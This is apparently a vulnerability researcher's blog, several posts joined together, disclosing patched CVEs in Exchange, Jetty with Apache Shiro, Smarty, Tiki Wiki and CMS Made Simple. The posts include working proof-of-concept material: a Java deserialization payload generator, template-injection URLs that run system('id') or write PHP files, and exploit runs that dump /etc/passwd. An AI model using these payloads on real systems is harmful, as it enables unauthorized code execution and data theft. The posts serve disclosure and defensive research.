(+) eg: ./poc.py 192.168.0.142 192.168.0.56 1337 mspaint
(+) eg: ./poc.py 192.168.0.142 192.168.0.56 1337 "whoami > c:/poc.txt"

researcher@pluto:~/poc-exchange$ ./poc.py 192.168.0.142 192.168.0.56 1337 mspaint
(+) server bound to port 8000
(+) targeting: 192.168.0.142 using cmd: mspaint
(+) delivering xml file...
(+) delivering cab file...
(+) executed mspaint as SYSTEM!

Conclusion

It’s not the first time that a MiTM attack has been used at Pwn2Own and it was nice to find a vulnerability that had no collision with other researchers at the competition. This was only possible by finding a new vector and/or surface to hunt vulnerabilities in within Exchange Server. Logical vulnerabilities are always interesting because it almost always means that exploitation is given, and those same issues are very hard to discover with traditional automated tools. It is argued that all web vulns are in fact, logical in nature. Even web-based injection vulns, since they require no manipulation of memory, and the attack can be repeated ad hoc.

The impact of this vulnerability in Exchange server is quite high since the EMC connects via PS-Remoting to the IIS service which is configured to run as SYSTEM. This is not the case for SharePoint Server where the SharePoint Management Shell (SMS) is directly impacted, achieving code execution as the user running the SMS.

Microsoft patched this issue as CVE-2021-31209 and we recommend you deploy the patch immediately if you have not done so already.

References

Full Stack Web Attack 2021 :: Zero Day Give Away

13 July 2021 at 14:00

This year I released a challenge for the Full Stack Web Attack class:

Challenge

Whilst several people had solved the challenge, no one seemed to have discovered the zero-day that I left lurking! In this blog post I am going to disclose the details about the bug chain. This vulnerability was patched as CVE-2021-28169 and under certain environments it can lead to an elevation of privilege/access or even remote code execution!

By the way - If you didn’t make the class in July 2021 don’t worry we will be running another class later in the year.

Jetty Web Server

As it turns out, the jetty-servlets library contained a vulnerability in the org.eclipse.jetty.servlets.ConcatServlet servlet. If exposed, this could allow an attacker to disclose sensitive files.

Jetty Utility Servlets ConcatServlet Double Decoding Information Disclosure Vulnerability

Inside of the doGet method we see the following code:

/*     */   protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
/*  88 */     String query = request.getQueryString();
/*     */     ...
/*  95 */     List<RequestDispatcher> dispatchers = new ArrayList<RequestDispatcher>();
/*  96 */     String[] parts = query.split("\\&");
/*  97 */     String type = null;
/*  98 */     for (String part : parts) {
/*     */       
/* 100 */       String path = URIUtil.canonicalPath(URIUtil.decodePath(part)); // 1
/*     */       ...       
/* 108 */       if (startsWith(path, "/WEB-INF/") || startsWith(path, "/META-INF/")) { // 2
/*     */         
/* 110 */         response.sendError(404);
/*     */         
/*     */         return;
/*     */       } 
/*     */       ...
/* 128 */       RequestDispatcher dispatcher = getServletContext().getRequestDispatcher(path); // 3
/* 129 */       if (dispatcher != null) {
/* 130 */         dispatchers.add(dispatcher);
/*     */       }
/*     */     } 
/* 133 */     if (type != null) {
/* 134 */       response.setContentType(type);
/*     */     }
/* 136 */     for (RequestDispatcher dispatcher : dispatchers)
/*     */     {
/* 138 */       dispatcher.include(request, response); // 4
/*     */     }
/*     */   }

At [1] the code does a url decode and then attempts to normalize the attacker supplied path. Then at [2] there is a check that the path doesn’t start with “/WEB-INF/” or “/META-INF/”. Later at [3] the RequestDispatcher is made and finally at [4] the include is triggered.

The problem is that the check at [2] can be bypassed because the RequestDispatcher will also handle url decoding. So an attacker can double url encode either a traversal or the WEB-INF/META-INF strings in their controlled paths. This will instantiate a valid dispatcher and leak contents of an attacker controlled file from the ROOT of the web application.

Impact

The vulnerability is limited to a file disclosure from the web application ROOT directory. However, in some contexts this may allow an attacker to escalate further. Let’s use two examples:

  1. Spring - Elevation of privilege/access

In this environment, it’s possible to leak sensitive properties from the application.properties file such as the spring.datasource.url, spring.elasticsearch.rest.password, spring.h2.console.settings.web-admin-password, spring.influx.password, spring.ldap.password, etc.

  1. Apache Shiro - Remote Code Execution

In this environment, it’s possible to leak the shiro.ini file which contains securityManager.rememberMeManager.cipherKey. This key can be used to gain remote code execution against the application via deserialization in the rememberMe cookie.

Proof of Concept

If your testing on your own web application, modify your web.xml to include the vulnerable servlet:

  <servlet>
    <servlet-name>Concat</servlet-name>
    <servlet-class>org.eclipse.jetty.servlets.ConcatServlet</servlet-class>
  </servlet>

  <servlet-mapping>
    <servlet-name>Concat</servlet-name>
    <url-pattern>/concat</url-pattern>
  </servlet-mapping>

Or else, you can test it on the challenge image:

docker run --name fswa -it --rm -p 80:8080 registry.gitlab.com/source-incite/fswa-challenge/rceme:2021

Now we can leak the key using the vulnerability:

Triggering CVE-XXXX-YYYY

Excuse me while I ignore all the username and passwords in the shiro.ini file! As it turns out, Apache Shiro uses commons-collections v3.2.2 and commons-beanutils v1.9.4 in their classpath. This is enough for us to generate a gadget chain from ysoserial.

With that wrapped around an encryption layer, we can achieve remote code execution:

researcher@incite:~$ java Poc 
(+) Usage: java Poc <securityManager.rememberMeManager.cipherKey> <command>

researcher@incite:~$ java Poc kPH+bIxk5D2deZiIxcaaaA== "touch /tmp/pwn"
(+) using key kPH+bIxk5D2deZiIxcaaaA==
(+) rememberMe=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

Now, we send the cookie to the server targeting any endpoint:

Triggering deserialization by design

Done!

student@target:~$ docker exec -it fswa stat /tmp/pwn
stat: cannot stat '/tmp/pwn': No such file or directory

student@target:~$ docker exec -it fswa stat /tmp/pwn
  File: /tmp/pwn
  Size: 0         	Blocks: 0          IO Block: 4096   regular empty file
Device: 33h/51d	Inode: 1452414     Links: 1
Access: (0644/-rw-r--r--)  Uid: (  999/   jetty)   Gid: (  999/   jetty)
Access: 2021-04-29 18:33:26.410256760 +0000
Modify: 2021-04-29 18:33:26.410256760 +0000
Change: 2021-04-29 18:33:26.410256760 +0000
 Birth: -

…and of course, the Poc.java which is mostly copied borrowed from Apache Shiro:

package shiro;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.util.Base64;
import ysoserial.payloads.ObjectPayload.Utils;
import org.apache.shiro.crypto.cipher.*;
import org.apache.shiro.lang.util.ByteSource;

public class Poc {

    public static void main(String[] args) throws Exception {
        if(args.length != 2){
            System.out.println("(+) Usage: java Poc <securityManager.rememberMeManager.cipherKey> <command>");
            System.exit(0);
        }
		
        // Timo's idea to recycle shiro libs
        AesCipherService aesservice = new AesCipherService();
        aesservice.setModeName("GCM");
        aesservice.setPaddingSchemeName("NoPadding");
        aesservice.setStreamingPaddingSchemeName("NoPadding");
        CipherService cipherService = aesservice;

    	String key = args[0];
    	String cmd = args[1];
        System.out.println("(+) using key " + key);
        byte[] fdata = null;

        // commons-collections 3.2.2 & commons-beanutils 1.9.4
        Object payloadObject = Utils.makePayloadObject("CommonsBeanutils1", cmd);
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream out = null;
        try {
            out = new ObjectOutputStream(bos);   
            out.writeObject(payloadObject);
            out.flush();
            fdata = bos.toByteArray();
        } finally {
            try {
              bos.close();
            } catch (IOException ex) {}
        }
        System.out.println("(+) rememberMe=" + 
            new String(
                Base64.getEncoder().encode(
                    cipherService.encrypt(
                        fdata, Base64.getDecoder().decode(key)
                    ).getBytes()
                )
            )
        );
    }
}

References

Smarty Template Engine Multiple Sandbox Escape PHP Code Injection Vulnerabilities

18 February 2021 at 13:00

In this blog post we explore two different sandbox escape vulnerabilities discovered in the Smarty Template Engine that can be leveraged by a context dependant attacker to execute arbitrary code. Then we explore how these vulnerabilities can be applyed to some applications that attempt to use the engine in a secure way.

The discovered vulnerabilities impact the Smarty Template Engine <= 3.1.38:

1. template_object Sandbox Escape PHP Code Injection

This vulnerability targets an exposed and instantiated Smarty instance and is partially mitigated by using undocumented sandbox hardening features. It was patched as CVE-2021-26119.

2. Smarty_Internal_Runtime_TplFunction Sandbox Escape PHP Code Injection

This vulnerability targets the compilation engine and is unmitigated in versions 3.1.38 and below (even with a hardended sandbox using undocumented features). It was patched as CVE-2021-26120.

Background

The following text is taken directly from the Smarty website:

What is Smarty?

Smarty is a template engine for PHP, facilitating the separation of presentation (HTML/CSS) from application logic. This implies that PHP code is application logic, and is separated from the presentation.

The Philosophy

The Smarty design was largely driven by these goals:

  • clean separation of presentation from application code
  • PHP backend, Smarty template frontend
  • complement PHP, not replace it
  • fast development/deployment for programmers and designers
  • quick and easy to maintain
  • syntax easy to understand, no PHP knowledge required
  • flexibility for custom development
  • security: insulation from PHP
  • free, open source

Why is seperating PHP from templates important?

SANDBOXING: When PHP is mixed with templates, there are no restrictions on what type of logic can be injected into a template. Smarty insulates the templates from PHP, creating a controlled separation of presentation from business logic. Smarty also has security features that can further enforce granular restrictions on templates.

Environment

We have to assume an environment in which a template injection could occur. Many applications allow users to modify templates and given that Smarty clearly states that it has a sandbox it’s likley that this functionality will be exposed as intended by developers.

Granted that, there are two ways in which the author is aware that can lead to the injection of template syntax:

$smarty->fetch($_GET['poc']);
$smarty->display($_GET['poc']);

Vectors

Given what we have above senario and assuming a default secure mode is enabled then it’s possible for an attacker to supply their own template code in the following ways:

/page.php?poc=resource:/path/to/template
/page.php?poc=resource:{your template code here}

The resource: will need to be a valid resource, some defaults provided are:

  1. File

When using the file: resource, the code will pull from a local file. I still consider this a remote vector because many applications allow for a file upload and an attacker can provide a relative path or full path to the template file which means UNC paths also work under a Windows environment.

  1. Eval

When using eval: your template code is simply evaluated in Smarty_Resource_Recompiled class. Note that this is not the same as a regular PHP eval.

  1. String

When using the string: resource the code will write the template to disk first and then include it in Smarty_Template_Compiled class.

Vulnerable Example

The proof of concepts presented here may target different sandbox configurations.

Default Sandbox

This page creates a new Smarty instance and enabled secure mode using the default settings:

<?php
include_once('./smarty-3.1.38/libs/Smarty.class.php');
$smarty = new Smarty();
$smarty->enableSecurity();
$smarty->display($_GET['poc']);

Hardened Sandbox

A hardened sandbox page has been created that goes beyond the default sandbox to enable the most secure configuration that Smarty can provide:

<?php
include_once('./smarty-3.1.38/libs/Smarty.class.php');
$smarty = new Smarty();
$my_security_policy = new Smarty_Security($smarty);
$my_security_policy->php_functions = null;
$my_security_policy->php_handling = Smarty::PHP_REMOVE;
$my_security_policy->php_modifiers = null;
$my_security_policy->static_classes = null;
$my_security_policy->allow_super_globals = false;
$my_security_policy->allow_constants = false;
$my_security_policy->allow_php_tag = false;
$my_security_policy->streams = null;
$my_security_policy->php_modifiers = null;
$smarty->enableSecurity($my_security_policy);
$smarty->display($_GET['poc']);

template_object Sandbox Escape PHP Code Injection

Vulnerability Analysis

The fundemental root cause of this vulnerability is access to the Smarty instance from the $smarty.template_object super variable.

Let’s start with getting a reference to the Smarty_Internal_Template object. The {$poc=$smarty.template_object} value simply assigns the template object which is an instance of Smarty_Internal_Template to $poc. This generates the following code:

$_smarty_tpl->_assignInScope('poc', $_smarty_tpl);

This is performed in the compile function within the Smarty_Internal_Compile_Private_Special_Variable class:

case'template_object':
    return'$_smarty_tpl';

If we inspect the $poc object now, we can see it contains many interesting object properties:

object(Smarty_Internal_Template)#7 (24) {  
  ["_objType"]=>
  int(2)  
  ["smarty"]=>
  &object(Smarty)#1 (76) { ... }
  ["source"]=>
  object(Smarty_Template_Source)#8 (16) { ... }
  ["parent"]=>
  object(Smarty)#1 (76) { ... }
  ["ext"]=>
  object(Smarty_Internal_Extension_Handler)#10 (4) { ... }
  ["compiled"]=>
  object(Smarty_Template_Compiled)#11 (12) { ... }

The issue is here is that an attacker can access the smarty or parent property that will give them access to a Smarty instance.

Exploitation

The Static Method Call Technique

So now that an attacker can access the smarty property, they can simply pass it as the third argument to the Smarty_Internal_Runtime_WriteFile::writeFile which will write an arbitrary file to disk (write what where primitive). This is the same technique performed by James Kettle in 2015.

Having the ability to write arbitrary files to a targets filesystem is almost a guaranteed win but an attacker can never be too sure. Environments can vastly differ and writable directories in the webroot may not exist, .htaccess maybe blocking access to backdoors, etc.

Given that context, I came up with an application specific technique in which this vulnerability can be exploited for direct remote code execution without the need for these environment factors.

If using the string: resource, the process method inside of Smarty_Template_Compiled will be called which includes the compiled template file.

    public function process(Smarty_Internal_Template $_smarty_tpl)
    {
        $source = &$_smarty_tpl->source;
        $smarty = &$_smarty_tpl->smarty;
        if ($source->handler->recompiled) {
            $source->handler->process($_smarty_tpl);
        } elseif (!$source->handler->uncompiled) {
            if (!$this->exists || $smarty->force_compile
                || ($_smarty_tpl->compile_check && $source->getTimeStamp() > $this->getTimeStamp())
            ) {
                $this->compileTemplateSource($_smarty_tpl);
                $compileCheck = $_smarty_tpl->compile_check;
                $_smarty_tpl->compile_check = Smarty::COMPILECHECK_OFF;
                $this->loadCompiledTemplate($_smarty_tpl);
                $_smarty_tpl->compile_check = $compileCheck;
            } else {
                $_smarty_tpl->mustCompile = true;
                @include $this->filepath; // overwrite this file and then include!

It’s possible we can dynamically get access to this filepath property of the Smarty_Template_Compiled class so that we can use it as a location for the file write.

The nice thing about this technique is that the temporary location must be writable for the resource to work and it’s platform independant.

Proof of Concept

Using PHP’s built in webserver and the supplied page from Default Sandbox as the target, run the following poc twice.

http://localhost:8000/page.php?poc=string:{$s=$smarty.template_object->smarty}{$fp=$smarty.template_object->compiled->filepath}{Smarty_Internal_Runtime_WriteFile::writeFile($fp,"<?php+phpinfo();",$s)}

static call exploitation

The reason the request needs to be triggered twice is that the first time the cache file is written and then overwritten. The second time the cache is triggered and the file is included for remote code execution.

Mitigation

As a temporary workaround, the static_classes property can be nulled out in a custom security policy to prevent access to the Smarty_Internal_Runtime_WriteFile class. However, this comes at a cost and will heavily reduce functionality. For example, in the Yii framework access to Html::mailto, JqueryAsset::register and other static method calls will not will not work.

$my_security_policy = new Smarty_Security($smarty);
$my_security_policy->static_classes = null;
$smarty->enableSecurity($my_security_policy);

I don’t consider this a complete mitigation since this is not enabled by default when turning secure mode on and doesn’t address the root cause of the vulnerability.

The Sandbox Disabling Technique

Suppose we have a harder target that doesn’t use the default security mode and instead attempts to define it’s own security policy as with the Hardened Sandbox example. It’s still possible to bypass this environment since we can get access to the Smarty instance and can use it to disable the sandbox and render our php code directly.

Proof of Concept
http://localhost:8000/page.php?poc=string:{$smarty.template_object->smarty->disableSecurity()->display('string:{system(\'id\')}')}

property access and method call exploitation

Mitigation

As a temporary workaround, the disabled_special_smarty_vars property can contain the an array with the string template_object.

However, this feature is completely undocumented. Below is an example of how to prevent the attack:

$my_security_policy = new Smarty_Security($smarty);
$my_security_policy->disabled_special_smarty_vars = array("template_object");
$smarty->enableSecurity($my_security_policy);

Just like the static method call technique, I don’t consider this a complete mitigation since this is not enabled by default in the sandbox.

Smarty_Internal_Runtime_TplFunction Sandbox Escape PHP Code Injection

Vulnerability Analysis

When compiling template syntax, the Smarty_Internal_Runtime_TplFunction class does not filter the name property correctly when defining tplFunctions. Let’s take a look at an example with the following template:

{function name='test'}{/function}

We can see that the compiler generates the following code:

/* smarty_template_function_test_8782550315ffc7c00946f78_05745875 */
if (!function_exists('smarty_template_function_test_8782550315ffc7c00946f78_05745875')) {
    function smarty_template_function_test_8782550315ffc7c00946f78_05745875(Smarty_Internal_Template $_smarty_tpl,$params) {
	    foreach ($params as $key => $value) {
            $_smarty_tpl->tpl_vars[$key] = new Smarty_Variable($value, $_smarty_tpl->isRenderingCache);
        }
    }
}
/*/ smarty_template_function_test_8782550315ffc7c00946f78_05745875 */

The test string which is presumed controlled by the attacker is injected several times into the generated code. Notable examples are anything not within single quotes.

Since this is injected multiple times, I found it difficult to come up with a payload that would target the comment injection on the first line, so I opted for the function definition injection instead.

Proof of Concept

Using PHP’s built in webserver and the supplied page from Hardened Sandbox as the target, run the following poc:

http://localhost:8000/page.php?poc=string:{function+name='rce(){};system("id");function+'}{/function}

function name injection

Tiki Wiki

When we combine CVE-2020-15906 and CVE-2021-26119 together, we can achieve unauthenticated remote code execution using this exploit:

researcher@incite:~/tiki$ ./poc.py
(+) usage: ./poc.py <host> <path> <cmd>
(+) eg: ./poc.py 192.168.75.141 / id
(+) eg: ./poc.py 192.168.75.141 /tiki-20.3/ id

researcher@incite:~/tiki$ ./poc.py 192.168.75.141 /tiki-20.3/ "id;uname -a;pwd;head /etc/passwd"
(+) blanking password...
(+) admin password blanked!
(+) getting a session...
(+) auth bypass successful!
(+) triggering rce...

uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux target 5.8.0-40-generic #45-Ubuntu SMP Fri Jan 15 11:05:36 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
/var/www/html/tiki-20.3
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin

CMS Made Simple

When we combine CVE-2019-9053 and CVE-2021-26120 together, we can achieve unauthenticated remote code execution using this exploit:

researcher@incite:~/cmsms$ ./poc.py
(+) usage: ./poc.py <host> <path> <cmd>
(+) eg: ./poc.py 192.168.75.141 / id
(+) eg: ./poc.py 192.168.75.141 /cmsms/ "uname -a"

researcher@incite:~/cmsms$ ./poc.py 192.168.75.141 /cmsms/ "id;uname -a;pwd;head /etc/passwd"
(+) targeting http://192.168.75.141/cmsms/
(+) sql injection working!
(+) leaking the username...
(+) username: admin
(+) resetting the admin's password stage 1
(+) leaking the pwreset token...
(+) pwreset: 35f56698a2c3371eff7f38f34f001503
(+) done, resetting the admin's password stage 2
(+) logging in...
(+) leaking simplex template...
(+) injecting payload and executing cmd...

uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux target 5.8.0-40-generic #45-Ubuntu SMP Fri Jan 15 11:05:36 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
/var/www/html/cmsms
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin

References

  1. https://portswigger.net/research/server-side-template-injection
  2. https://chybeta.github.io/2018/01/23/CVE-2017-1000480-Smarty-3-1-32-php%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C-%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/

Making Clouds Rain :: Remote Code Execution in Microsoft Office 365

12 January 2021 at 14:00

Exchange Online

When I joined Qihoo’s 360 Vulcan Team, one of the things I had free rein over was having the ability to choose an area of security research that has a high impact. Since I enjoy web security research a lot I decided to target cloud based technologies. At the time, I decided to target Microsoft’s cloud network because my understanding of .net was very limited and it gave me a chance to grow that technical capability.

TL;DR; This post is a story on how I found and exploited CVE-2020-168751, a remote code execution vulnerability in Exchange Online and bypassed two different patches for the vulnerability. Exchange Online is part of the Office 365 suite that impacted multiple cloud servers operated by Microsoft that could have resulted in the access to millions of corporate email accounts.

Background

If you take a look at the number of remote code execution bugs in Microsoft Exchange Server within the last two years, you will find 6 bugs publically reported (not including the bug in this post). Only two of those were deemed important for mentioning:

  • CVE-2019-1373

    Rated as critical because this bug impacted Microsoft’s cloud network and subsequently impacted other cloud providers of Exchange Server that utilize multi-tenant environments even though a high privileged account was required.

  • CVE-2020-0688

    Rated as important, likely due to the fact that cloud providers were not impacted (some differentiations occur in configuration between the cloud and on-premise deployments). However, this code execution bug only required a low privileged domain account with a valid mailbox making it a great target for phishing attacks against on-premise deployments.

In contrast if we take a look at just how popular Office 365 is, we can see that by the end of 2019 the service had a little over 200 million active users. So when Office 365 goes down as it did recently, it makes the news. Below is a chart2 showing a nice linear growth in active subscriptions of Office 365 clearly showing large numbers of organizations depending on “the cloud”.

Growth in Office 365 Monthly Active Users since November 2015

So a remote code execution inside of Office 365 sounded like high impact to me.

Approach

Whilst I could have blindly tested the Exchange Online instance, this would have likely resulted in 0 high impact findings. Assuming that Microsoft know what they are doing, it’s unlikley that I would have a found a high impact remote code execution vulnerability without accessing source code.

Often legacy methods and/or new features remain hidden from a UI and this was my primary focus (and chance to obtain remote access) which simply cannot be found from a black-box perspective.

Understanding the Exchange Architecture

From a high level view, Exchange Server exposes a number of web APIs as well as a powershell remoting interface for users and administrators. Some of the APIs actually proxy much of the same functionality to backend endpoints. For example the Exchange Control Panel (/ecp) is a simple asp.net web application implementing a number of asp.net handlers that mostly wrap cmdlet execution in the powershell remoting interface (/powershell).

Since I was targeting Exchange Online, it didn’t matter if I had a pre or post-authenticated remote code execution vulnerability. The impact, with regards to Exchange Online would have been the same since a malicious tenant can be created with ease and the necessary permissions applied. This is the fundamental difference in targeting cloud based technologies vs on-premise environments that is all too often overlooked. Your threat model is different in the cloud!

Attack Surface

Since we can use any privilege level to achieve code execution in the cloud, I decided to focus on the powershell remoting interface since it had been a source of trouble in the past with CVE-2019-1373. Auditing powershell cmdlets is really just like auditing most .net application code without all the web framework scaffolding! Without further due, let’s dive into the analysis of CVE-2020-16875.

Microsoft Exchange Server DlpUtils AddTenantDlpPolicy Remote Code Execution Vulnerability

Vulnerability Analysis

The class that handles the New-DlpPolicy cmdlet can be found at Microsoft.Exchange.MessagingPolicies.CompliancePrograms.Tasks.NewDlpPolicy inside of the C:\Program Files\Microsoft\Exchange Server\V15\Bin\Microsoft.Exchange.Management.dll library. This class (like all the other cmdlets) have two internal methods which are called in the following order:

  1. InternalValidate
  2. InternalProcessRecord
namespace Microsoft.Exchange.MessagingPolicies.CompliancePrograms.Tasks
{
    [Cmdlet("New", "DlpPolicy", SupportsShouldProcess = true)]
    public sealed class NewDlpPolicy : NewMultitenancyFixedNameSystemConfigurationObjectTask<ADComplianceProgram>
    {
        // ...
        private NewDlpPolicyImpl impl;

        public NewDlpPolicy()
        {
            this.impl = new NewDlpPolicyImpl(this);
        }

        protected override void InternalProcessRecord()
        {
            this.SetupImpl();
            this.impl.ProcessRecord();  // 1
        }

At [1] InternalProcessRecord calls NewDlpPolicyImpl.ProcessRecord().

namespace Microsoft.Exchange.MessagingPolicies.CompliancePrograms.Tasks
{
    internal class NewDlpPolicyImpl : CmdletImplementation
    {
        // ...
        public override void ProcessRecord()
        {
            try
            {
                IEnumerable<PSObject> enumerable;
                DlpUtils.AddTenantDlpPolicy(base.DataSession, this.dlpPolicy, Utils.GetOrganizationParameterValue(this.taskObject.Fields), out enumerable, false);  // 2
            }
            catch (DlpPolicyScriptExecutionException exception)
            {
                this.taskObject.WriteError(exception, ErrorCategory.InvalidArgument, null);
            }
        }

